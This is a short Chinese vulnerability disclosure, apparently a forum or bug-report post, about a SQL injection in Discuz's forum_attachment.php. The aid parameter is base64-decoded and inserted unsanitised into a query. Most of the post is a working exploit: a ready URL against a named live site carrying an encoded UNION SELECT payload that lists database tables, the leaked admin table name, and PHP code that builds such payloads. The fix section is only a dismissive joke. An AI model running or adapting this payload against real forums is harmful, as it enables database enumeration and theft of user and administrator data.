文件：source\module\forum\forum_attachment.php

if(!defined('IN_DISCUZ')) {

exit('Access Denied');

}

define('NOROBOT', TRUE);

@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|', base64_decode($_G['gp_aid']));

if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {

dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach['tid']);

}

变量aid 直接base64_decode 后传入SQL查询，造成注射漏洞。。。

漏洞证明：

http://www.2cto.com /forum.php？mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D

http://www.2cto.com /forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member

暴出表名pre_common_admincp_member

实际查询为：

$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";

die (urlencode(base64_encode($x)));

修复方案：您懂得！